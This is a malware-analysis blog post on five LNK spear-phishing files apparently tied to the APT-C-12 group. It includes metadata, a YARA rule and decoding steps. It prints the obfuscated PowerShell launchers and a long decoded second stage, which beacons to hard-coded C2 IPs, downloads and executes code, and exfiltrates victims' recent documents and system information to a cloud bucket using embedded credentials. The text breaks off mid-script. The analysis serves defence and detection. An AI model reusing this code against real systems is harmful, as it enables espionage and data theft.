In July 2018, the Chinese-based research group 360 Technical Intelligence Center (TIC) produced a report “蓝宝菇（APT-C-12）针对性攻击技术细节揭秘” (Sapphire Mushroom (APT-C-12) Technical Details Revealed). This report analysed a malicious LNK file allegedly used by the APT group “Sapphire Mushroom” (蓝宝菇 aka Blue Mushroom aka NuclearCrisis). The group, according to 360 TIC:

…has carried out continuous cyber espionage activities on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China…[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The group appeared in March 2011 and appears to be targeting a wide variety of Chinese government and industries with spear-phishing emails. An early tactic used right-to-left override (RTLO or RLO) character to give the appearance of a regular file, and also malicious LNK files.

There is limited background I can find publicly on this group. They are not listed by that name or any variant on the APT Groups and Operations Spreadsheet. I also don’t have access to much private threat intelligence to trawl against. 360 TIC does not make a country attribution (that I can find) in its reports.

What is publicly written is singled-sourced from 360 TIC and helpfully translated by @Viking_Sec

It’s the ‘L’ to the ‘N’ to the ‘K’

Flash-forward to January 2020 and I was trawling through Hybrid-Analysis searching for interesting LNK files, I came across these five samples:

Analysis indicates one of these samples is very similar to the same analysed in the 360 TIC report (of which the hash was not released) and the other four were previously unreported. Further, looking at the samples it is possible targets can be identified based on the malware - although this is not confirmed at this time.

So, with a combination of thread-pulling and reviewing the original 360 TIC report we can look at how these samples are related and any further information that might be interesting.

The Famous Five (LNKs)

What immediately stood out to me was the enormous size of these LNK files: between 400KB to 1.3 MB. Which is massive for such a (normally) little file. This generally indicates data is appended to the end of the file. If it’s larger than normal then it’s often a PE executable that is simply extracted out. How wrong I was.

What was also interesting is all of these samples were Chinese-language named and uploaded to Hybrid-Analysis at about the same time. The summary is as follows:

Date of Upload File Name Google Translation SHA256 Hash October 29th 2019 11:00:46 (UTC) 陈婧简历+作品.lnk Chen Jing's resume + works 20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814 October 29th 2019 11:03:47 (UTC) 周文重：2018博鳌亚洲论坛感谢函.lnk Zhou Wenzhong: Thank you letter for Boao Forum for Asia 2018 b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b October 29th 2019 12:40:00 (UTC) 【2018前海合作论坛】.lnk Qianhai Cooperation Forum 2018 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d October 29th 2019 12:40:33 (UTC) 《政法网络舆情》会员申请.lnk "Politics and Law Network Public Opinion" Member Application ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af October 29th 2019 12:40:54 (UTC) 《观察者网》采访提纲暨相关新闻附件.lnk "Observer Network" Interview Outline and Related News Attachments 6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36

The second-last sample (SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af) is very similar to that analysed in the 360 TIC report. This is based on basic characteristics including: filename, file size, reported strings, reported C2 and exfiltration domains, and secondary dropped malware.

A Quick Comparison

Running the five samples through Eric Zimmerman’s LECMD and comparing their overall hex content indicated they were likely related. Points of interest included:

All had much of their metadata wiped including internal dates and times, MAC addresses, and Volume Serial Numbers. This itself is an anomaly that is a useful tool mark to match samples.

What wasn’t wiped was the Security Identifier (SID) for each of the LNK files which indicated the user account from which the LNK file was created:

SHA256 Hash SID 20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814 S-1-5-21-768223713-132671932-3453716105-7998 b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b S-1-5-21-768223713-132671932-3453716105-8001 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d S-1-5-21-768223713-132671932-3453716105-7998 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af S-1-5-21-768223713-132671932-3453716105-7998 6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36 S-1-5-21-768223713-132671932-3453716105-7998

So, all the samples were created on the same Windows environment and all but one was created with the same user account. Maybe they let the intern have a go?

This would be a good Yara rule to start a hunt:

rule LNK_Based_on_SID { meta: sample = "70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d" author = "@mattnotmax" date = "2020-01-23" strings: $SID = "S-1-5-21-768223713-132671932-3453716105" wide condition: filesize > 400KB and uint16(0) == 0x4c and $SID }

Only one sample (70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d) had been uploaded to Virus Total about the same time as the Hybrid-Analysis uploads: 29 October 2019 at 12:43:22 UTC. At the time of writing it registered 16/58 detections, but all were non-specific Trojan detections.

Malicious Script Delivery

All the LNK files also have similar PowerShell delivery: a plethora of white space to hide a PowerShell encoded commanded from the user, followed by a Base64 encoded script.

The five payloads are:

-w hidden $r='LWpvaW4oKDM2LDU3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTcsNjEsMTAzLDEwNSwzMiwzNiw1Nyw1OSwxMDgsMTA5LDU2LDMyLDQwLDEwMyw5OSwzMiwzNiw1NywxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function lm8{param($v);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($v)))}lm8 $r -w hidden $6='LWpvaW4oKDM2LDQ5LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw0OSw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw0OSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNDksNjEsMTAzLDEwNSwzMiwzNiw0OSw1OSwxMTksMTE0LDQ5LDMyLDQwLDEwMyw5OSwzMiwzNiw0OSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function wr1{param($3);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($3)))}wr1 $6 -w hidden $3='LWpvaW4oKDM2LDUwLDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1MCw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1MCw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTAsNjEsMTAzLDEwNSwzMiwzNiw1MCw1OSwxMTAsNDgsNDgsMzIsNDAsMTAzLDk5LDMyLDM2LDUwLDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4';Function n00{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}n00 $3 -w hidden $5='LWpvaW4oKDM2LDEwMSw2MSwzNiwxMDQsMTExLDExNSwxMTYsNDYsMTE3LDEwNSw0NiwxMTQsOTcsMTE5LDExNywxMDUsNDYsMTE5LDEwNSwxMTAsMTAwLDExMSwxMTksMTE2LDEwNSwxMTYsMTA4LDEwMSw1OSw3MywxMDIsNDAsMzMsMzYsMTAxLDQ2LDEwMSwxMTAsMTAwLDExNSwxMTksMTA1LDExNiwxMDQsNDAsMzksNDYsMTA4LDExMCwxMDcsMzksNDEsNDEsMTIzLDM2LDEwMSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsMTAxLDYxLDEwMywxMDUsMzIsMzYsMTAxLDU5LDExNSwxMDYsNTUsMzIsNDAsMTAzLDk5LDMyLDM2LDEwMSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function sj7{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}sj7 $5 -w hidden $o='LWpvaW4oKDM2LDk3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw5Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw5Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsOTcsNjEsMTAzLDEwNSwzMiwzNiw5Nyw1OSwxMTMsNTQsNTIsMzIsNDAsMTAzLDk5LDMyLDM2LDk3LDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4';Function q64{param($6);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))}q64 $o

When converted from Base64 there is another layer of CharCode (Unicode character numbers):

-join((36,57,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,57,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,57,43,61,39,46,108,110,107,39,125,36,57,61,103,105,32,36,57,59,108,109,56,32,40,103,99,32,36,57,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex -join((36,49,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,49,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,49,43,61,39,46,108,110,107,39,125,36,49,61,103,105,32,36,49,59,119,114,49,32,40,103,99,32,36,49,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex -join((36,50,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,50,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,50,43,61,39,46,108,110,107,39,125,36,50,61,103,105,32,36,50,59,110,48,48,32,40,103,99,32,36,50,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex -join((36,101,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,101,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,101,43,61,39,46,108,110,107,39,125,36,101,61,103,105,32,36,101,59,115,106,55,32,40,103,99,32,36,101,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex -join((36,97,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,97,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,97,43,61,39,46,108,110,107,39,125,36,97,61,103,105,32,36,97,59,113,54,52,32,40,103,99,32,36,97,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex

The above two rounds of obfuscation can be decoded using CyberChef goodness:

[{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+=/]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"Fork","args":["\

","\

\

\

",false]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Regular expression","args":["User defined","([0-9]{2,3})",true,true,false,false,false,false,"List matches"]},{"op":"Find / Replace","args":[{"option":"Extended (\

, \\t, \\x...)","string":"\

"},", ",true,false,true,false]},{"op":"From Charcode","args":["Comma",10]}]

This reveals:

$9=$host.ui.rawui.windowtitle;If(!$9.endswith('.lnk')){$9+='.lnk'}$9=gi $9;lm8 (gc $9|select -l 1) $1=$host.ui.rawui.windowtitle;If(!$1.endswith('.lnk')){$1+='.lnk'}$1=gi $1;wr1 (gc $1|select -l 1) $2=$host.ui.rawui.windowtitle;If(!$2.endswith('.lnk')){$2+='.lnk'}$2=gi $2;n00 (gc $2|select -l 1) $e=$host.ui.rawui.windowtitle;If(!$e.endswith('.lnk')){$e+='.lnk'}$e=gi $e;sj7 (gc $e|select -l 1) $a=$host.ui.rawui.windowtitle;If(!$a.endswith('.lnk')){$a+='.lnk'}$a=gi $a;q64 (gc $a|select -l 1)

All of these do the same thing: check the title text in the current window, rename that text to end in .lnk if needed, then select the last line of the LNK file and extract it.

Babushka (LNK) Dolls

Extracting out the last line of the LNK files reveals more Base64 encoded CharCode. Due to the length, I’ll copy one sample here and the same CyberChef recipe can quickly deal with it:

Here’s the extracted and semi-clean PowerShell from sample 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d:

[io.file]::writeallbytes("$env:tmp\xgihT.Z",[convert]::frombase64string((gc $2|select -l 2|select -f 1))); expand /f:* "$env:tmp\xgihT.Z" "$env:tmp\"; del -fo "$env:tmp\xgihT.Z"; If (test-path $env:tmp\xgihT) { del -fo -r "$env:tmp\xgihT" } rni -fo "$env:tmp\tmp" "xgihT"; md -fo "$env:AppData\WinRAR"; mv -fo "$env:tmp\xgihT\Rar.exe" "$env:AppData\WinRAR\"; mv -fo "$env:tmp\xgihT\FLrzH.w" "$env:tmp\..\"; If ($2.fullname.startswith($env:tmp)) { del -fo -r ("$env:tmp\"+$2.basename); rni -fo "$env:tmp\xgihT" $2.basename; ii ("$env:tmp\"+$2.basename+"\") } Else { del -fo $2; md -fo $2.basename; mv -fo "$env:tmp\xgihT\*" $2.basename; del -fo -r "$env:tmp\xgihT"; ii "$($2.basename)\" } If (test-path $env:tmp\backups) { If (((get-date)-(get-item $env:tmp\backups).LastAccessTime).totalminutes -le 60) { exit } del -fo -r "$env:tmp\backups" } If (test-path "$env:tmp\..\FLrzH.w") { rundll32 "$env:tmp\..\FLrzH.w",DllRegister ` "powershell -w hidden ` ""Function we8([String]`$3,`$7='MD5'){`$g=New-Object System.Text.StringBuilder;` `$9=[System.Security.Cryptography.HashAlgorithm]::Create(`$7).ComputeHash([System.Text.Encoding]::UTF8.GetBytes(`$3));` foreach(`$1 in `$9) {` [Void]`$g.Append(`$1.ToString('x2'))` }` `$w=`$g.ToString();` `$e=`$w.substring(0,12);` return `$e}` Function qv1 (`$3) {` `$w=[System.Text.Encoding]::UTF8;` `$x=`$w.GetBytes('s');` `$s=`$(for(`$e=0;` `$e -lt `$3.length;) {` for(`$g=0;`$g -lt `$x.length;`$g++) {` `$3[`$e] -bxor `$x[`$g];` `$e++;If(`$e -ge `$3.Length) {` `$g=`$x.length` }` }` }`);` `$7=`$w.GetString(`$s);` return `$7` }` Function qc4 {` `$s=0;` `$q=`$m.length;` while (1) {` `[email protected]();` `$7=Get-WmiObject win32_networkadapterconfiguration;` foreach(`$zv7 in `$7) {` If(`$zv7.macaddress) {` `$w+=`$zv7.macaddress` }` }` `[email protected]();` foreach(`$ij4 in `$w) {` If(`$ij4.contains(':')) {` `$zv7+=`$ij4.substring(0,17) -replace ':',''` }` }` `$zv7=`$zv7|sort;` `$zy3=we8 (`$zv7[-1]+`$env:username);` `$xi2=new-object System.Net.WebClient;` `$xi2.headers.add('user-agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36');` `$xi2.headers.add('Cookie','PHPSESSID='+`$zy3+'; csrftoken=u32t4o3tb3lbj'+`$v+'; _gat='+`$u+';');` try {` `$0=`$xi2.DownloadString(`$m[`$s]);`$ri8=`$0.split(' ');` `$jd4= `$ri8.Length;` `$qw2=new-object int[] `$jd4;` for(`$e=0;`$e -lt `$jd4;`$e+=1) {` `$qw2[`$e]=[int]`$ri8[`$e]` }` `$0=qv1 `$qw2;iex `$0;` while(1) {` try {` ROAGC `$8 `$u `$m `$a `$zy3` }` catch {}` }` }` catch {` If(`$s -lt (`$q-1)) {` `$s+=1` }` Else {` `$s=0` }` }` Start-Sleep -s 180` }` }` `$v='';` `$0=[System.Text.Encoding]::Default.EncodingName;` If(`$0.endswith('jis)')) {` `$v='5'` }` Elseif(`$0.endswith('f-16)')) {` `$v='4'` }` Elseif(`$0.endswith('M437)')) {` `$v='3'` }` Elseif(`$0.endswith('g5)')) {` `$v='1'` }` Elseif(`$0.endswith('12)')) {` `$v='0'` }` Else {`$v='2'}` `$0='http://159.65.74.97;http://159.65.127.93;http://128.199.73.43';` `$m=`$0.split(';');` `$a='o19JOAiPTbSozNpAcIRYRy20E/sAYzrJxFzmsAQTbBo=';` `$u='REDACTED';` `$8=10;` `$0=-join(get-random ([char[]](65..90+97..122)) -c 7 -s `$([int](get-date -f yyyMd)));` `$nl7=new-object system.threading.mutex(0,`$0);` If (`$nl7.waitone(1)) {` try {` qc4` }` finally {` `$nl7.releasemutex()` }` }` """ } md -fo "$env:tmp\backups"; Function u65($9) { [system.gc]::collect(); $6=[System.Net.WebRequest]::Create($9.Uri1); $6.proxy=$Null; $6.keepalive=$False; $6.Method=$9.Method1; If ($9.Header2.count) { foreach($1 in $9.Header2.getenumerator()) { If ($1.name) { $6.Headers.Add($1.name, $1.value) } } } $6.AllowAutoRedirect=$False; $6.ContentLength=$9.Body.Length; $x=$6.GetRequestStream(); $x.Write($9.Body,0,$9.Body.Length); $t=$6.GetResponse(); If ($9.GData) { $r=$t.GetResponseStream(); $e=New-Object System.IO.StreamReader $r; $n=$e.ReadToEnd() } If ($t -ne $Null) { $t.close() } If ($6 -ne $Null) { $6.abort() } If ($9.GData) { return ($t.statuscode,([xml]$n).InitiateMultipartUploadResult.UploadId) } return $t } Function v95($2,$p) { $e=New-Object System.Security.Cryptography.HMACSHA256; $e.key=$2;$2=$e.ComputeHash([Text.Encoding]::utf8.GetBytes($p)); return $2 } Function y79($p) { $9=[Security.Cryptography.HashAlgorithm]::Create("SHA256"); $4=[Text.Encoding]::utf8.GetBytes($p); $h=$9.ComputeHash($4); return -join($h| % {"{0:x2}" -f $_}) } Function ww2($9) { $c='/'; If ($9.DIRNAME) { $c+="$($9.DIRNAME)/" } If ($9.FILENAME) { $c+=$9.FILENAME}$5=''; ($9.CANON_HEAD.keys | sort) | % {$5+="$($_):$($9.CANON_HEAD[$_])`n"}; $0="$($9.METHOD)`n$c`n$($9.QUERYS)`n$5`n$($9.SIGNHEAD)`n$($9.BODY_SIG)"; return "AWS4-HMAC-SHA256`n$($9.ISODATE)`n$($9.DATE)/$($9.REGION)/s3/aws4_request`n$(y79 $0)" } Function i09($9) { $c=[convert]::frombase64string('+ji52ydI8GAan3Xej2sIhMfPEEATEQjehjYt2Nh+ZqQ='); $7=v95 $c $9.REGION;$i=v95 $7 "s3"; $s=v95 $i "aws4_request"; $2=v95 $s $9.CANON_REQ;return -join($2|%{"{0:x2}" -f $_}) } Function en2($9,$6,$7) { $9.ISODATE='20180621T015829Z'; $9.DATE=$9.ISODATE.split('T')[0];[email protected]{"host"=$9.HOSTURL;"x-amz-content-sha256"=$9.BODY_SIG;"x-amz-date"=$9.ISODATE}; If ($9.FileMD5) { $9.CANON_HEAD.add('content-md5',$9.FileMD5) } $9.SIGNHEAD=($9.CANON_HEAD.keys|sort) -join ';'; $9.CANON_REQ=ww2 $9;$9.CANON_SIG=i09 $9; [email protected]{"x-amz-content-sha256"=$9.BODY_SIG;"x-amz-date"=$9.ISODATE;"Authorization"="AWS4-HMAC-SHA256 Credential=$($9.ACCESS_KEY)/$($9.DATE)/$($9.REGION)/s3/aws4_request, SignedHeaders=$($9.SIGNHEAD), Signature=$($9.CANON_SIG)"};If($9.FileMD5){$t.add('content-md5',$9.FileMD5)}$x="https://$($9.HOSTURL)/"; If ($9.DIRNAME) { $x+="$($9.DIRNAME)/" } If ($9.FILENAME) { $x+=$9.FILENAME } If ($9.QUERYS) { $x+="?$($9.QUERYS)" } [email protected]{Uri1=$x;Body=$6;Method1=$9.METHOD;Header2=$t;GData=$7}; return $b } Function ts3($l,$x,$t) { [email protected]{METHOD='POST';HOSTURL='05012.ams3.digitaloceanspaces.com';ACCESS_KEY='BVTTZPQUDF3W4Z7P3WTN';REGION='nyc3';DIRNAME=$x;FILENAME=$t.tostring()+$l.extension}; $3=$False; $g=$False; try { $f=New-Object System.IO.FileStream $l.fullname, 'Open'; If ($f.Length -gt 5Mb) { $g=$True; $i=New-Object System.Xml.XmlDocument; $4=$i.Createelement('CompleteMultipartUpload'); $9.QUERYS='uploads='; $9.BODY_SIG=y79 ''; $b=en2 $9 '' $True; $0=u65 $b; $n=[int]$0[0]; $x=$0[1] } } catch {} If ($n -eq 200 -or -not $g) { $t=0; $o=0; $h=1; $2=5Mb; try { [byte[]]$6=New-Object byte[] $2; while ($o -le 10) { $o+=1; $w=[Math]::Min($2,$f.Length-$t); If ($w -lt $2) { [byte[]]$6=New-Object byte[] $w } $q=$f.Read($6,0,$w); If ($q -ne $w) { break } $q=New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider; $9.METHOD='PUT'; $9.BODY_SIG='UNSIGNED-PAYLOAD'; $9.FileMD5=[convert]::tobase64string($q.ComputeHash($6)); If ($g) { $9.QUERYS="partNumber=$h&uploadId=$x" } $b=en2 $9 $6 $False; $0=u65 $b; $n=[int]$0.StatusCode; If ($n -eq 200) { If ($g) { $q=$i.Createelement('Part'); $p=$i.Createelement('PartNumber'); $p.innertext=$h; [void]$q.appendchild($p); $6=$i.Createelement('ETag'); $6.innertext=$0.Headers['etag']; [void]$q.appendchild($6); [void]$4.appendchild($q); $h+=1; $t+=$w } else { $3=$True } If ($t -eq $f.Length) { break } } else { If ($f.Position -ne $t) { [void]$f.Seek($t,[System.IO.SeekOrigin]::Begin) } } } If ($g) { $9.METHOD='POST'; $g=[byte[]][char[]]$4.outerxml; $9.BODY_SIG=y79 $4.outerxml; $9.QUERYS="uploadId=$x"; $9.FileMD5=''; $b=en2 $9 $g $False; $0=u65 $b; If ([int]$0.StatusCode -eq 200) { $3=$True } } } catch { } } $f.Close(); $f.Dispose(); return $3 } Function x56($6,$g,$f) { iex ("& '$env:AppData\WinRAR\Rar.exe' a -ep1 -y -hp$6 '$g' '$f'") | out-null; If (!(test-path $g)) { makecab "$f" "$g" | out-null } } Function zm7($l,$n,$g,$y,$x) { $s="["+$g+"] "+($l.fullName)+" Size:"+($l.Length/1kb)+"KB Time:"+($l.LastWriteTime); Try { gc $l.fullname -fo -total 0 -erroraction stop; $7=$True; If ($l.extension -eq '.txt' -and $l.Length -gt 10KB) { $7=$False } If ($n -eq $_.Length) { $7=$False } If ($l.Length -le 100MB -and $l.Length -gt 0 -and $7) { $9="$env:tmp\backups\$g.rar"; x56 $j $9 $l.fullName; If (test-path $9) { $9=gi -fo $9 } Else { $9=$l } If (ts3 $9 $x $y) { $s+=" ($y)OK`r`n"; sleep -s 1 } Else { $s+=" (Error)`r`n" } If ($9.extension -eq '.rar') { del -fo $9.fullname } } Else { $s+="[!Size or Duplicate!]`r`n" } } Catch { $s+="[!Access denied!!]`r`n" } return $s } Function sr2($j,$x) { $6=180; $y=1; $b=0; $e=(Get-Date -f yyyyMMddhhmmss)+"`r`nWeek:`r`n"; $n=0; $f=('.doc','.docx','.pdf','.ppt','.pptx','.xls','.xlsx','.wps','.wpp','.et','.txt'); gci "$env:appdata\Microsoft\Windows\Recent\" -fo -errora silentlycontinue | ? { $f -contains [io.path]::getextension($_.basename) -and $_.LastWriteTime -ge (Get-Date).AddDays(-7)} | % {gi ((new-object -com wscript.shell).createshortcut($_.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length; If ($e.endswith("OK`r`n")) { $y+=1 }}; [email protected](); $5+=gdr -p 'fi*' | ? {$_.root -ne "$env:systemdrive\"} | % {gci -fo $_.root}; $5+=gci -fo "$env:systemdrive\users"; $5+=gci -fo "$env:systemdrive\" | ? {$_.fullname -notlike '*:\Windows*' -and $_.fullname -notlike '*:\Users' -and $_.fullname -notlike '*:\Program Files*' -and $_.fullname -notlike '*:\ProgramData' -and $_.fullname -notlike '*:\MSOCache' -and $_.fullname -notlike '*:\PerfLogs' -and $_.fullname -notlike '*:\System Volume*' -and $_.fullname -notlike '*:\Documents and Settings' -and $_.fullname -notlike '*:\Recovery' -and $_.fullname -notlike '*:\Boot'}; $5=$5 | sort lastwritetime -des | % {$_.fullname} | ? {$_}; $e+="Search List:`r`n$5`r`n"; $c=0; If ($6 -ge 30){ $r=30 } Else { $r=$6 } $p=Get-Date; $k=1; $n=0; while ($6 -ge $r) { $e+="M $k (D $c - D $r):`r`n"; foreach ($d in (('.doc','.docx','.pdf'),('.ppt','.pptx','.xls','.xlsx','.wps','.wpp','.et'),('.txt','.eml'))) { $e+="FileType: $d`r`n"; foreach ($4 in $5) { Try { gci $4 -r -fo -errora silentlycontinue | ? {$d -contains $_.extension -and $_.LastWriteTime -lt $p.AddDays(-1*$c) -and $_.LastWriteTime -ge $p.AddDays(-1*$r) } | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length; If ($e.endswith("OK`r`n")) { $y+=1 } } } catch { $e+="[!!!$4 search error !!!]`r`n" } } } $e+=(Get-Date -f yyyyMMddhhmmss)+"`r`n"; $e+=(get-wmiobject win32_process -f "name='powershell.exe'" | % {$_.commandline+"`r`n"}); $e > "$env:tmp\$($k)test.txt"; $e="$env:tmp\$($k)test.txt"; x56 $j "$env:tmp\backups\M$k.rar" $e; ts3 (gi -fo "$env:tmp\backups\M$k.rar") $x "M$k"; del -fo $e,"$env:tmp\backups\M$k.rar"; $e=''; If ($6 -le $r) { break } $r+=30; $c+=30; If ($6 -le $r) { $r=$6 } $k+=1 } $p=0; $k=0; while(1) { sleep -s 3500; md -fo "$env:tmp\backups"; $x=(hostname)+"_P"+(Get-Date -f yyyyMMddhhmmss)+"_REDACTED"; $y=1;$n=0;$k+=1;$e="$x`r`n"; gci "$env:appdata\Microsoft\Windows\Recent\" -fo -errora silentlycontinue | ? {$f -contains [io.path]::getextension($_.basename) -and $_.LastWriteTime -ge (Get-Date).AddHours(-1) } | % {gi ((new-object -com wscript.shell).createshortcut($_.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length; If ($e.endswith("OK`r`n")) { $y+=1 } }; $f=''; $e+=(Get-Date -f yyyyMMddhhmmss)+"`r`n"; $e > "$env:tmp\$($k)test.txt"; $e="$env:tmp\$($k)test.txt"; x56 $j "$env:tmp\backups\P$k.rar" $e; ts3 (gi -fo "$env:tmp\backups\P$k.rar") $x "P$k"; del -fo $e,"$env:tmp\backups\P$k.rar" } } [System.Net.ServicePointManager]::DefaultConnectionLimit=50;[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $s=(hostname)+"_"+(Get-Date -f yyyyMMddhhmmss)+"_REDACTED"; $m='http://159.65.74.97;http://159.65.127.93;http://128.199.73.43'; $p=$m.split(";"); $q=$p.length; $l=0; $w=""; while ($l -lt $q) { try { $9=[System.Net.WebRequest]::Create($p[$l]); $w+=$l.ToString(); $3=$9.GetResponse(); $w+=" OK`r`n" } catch { $w+=" BAD!`r`n" } $l+=1 } $w+=(Get-Date -f yyyyMMddhhmmss)+"`r`n"; $w+="systeminfo:`r`n"+(systeminfo)+"`r`n"; $w+="ipconfig /all:`r`n"+(ipconfig /all)+"`r`n"; $w+="netstat -a:`r`n"+(netstat -a)+"`r`n"; $w+="arp -a:`r`n"+(arp -a)+"`r`n"; $w+="desktop files:`r`n"+(ls -r $home\desktop)+"`r`n";$w+="tmp files:`r`n"+(ls $env:tmp\..\)+"`r`n";$w+="pw cmd:`r`n"+(get-wmiobject win32_process -f "name='powershell.exe'" | % {$_.commandline+"`r`n"}); $w+="programfiles:`r`n"+(ls $env:programfiles)+"`r`n"; $w+="programfiles x86:`r`n"+(ls ${env:programfiles(x86)})+"`r`n"; $w+=(Get-Date -f yyyyMMddhhmmss)+"`r`n"; $w | out-file "$env:tmp\start.log" -Encoding UTF8; $3=-join([char[]](48..57+65..90+97..122) | get-random -c 16); $7=new-object security.cryptography.rsacryptoserviceprovider(2048); $7.fromxmlstring(" 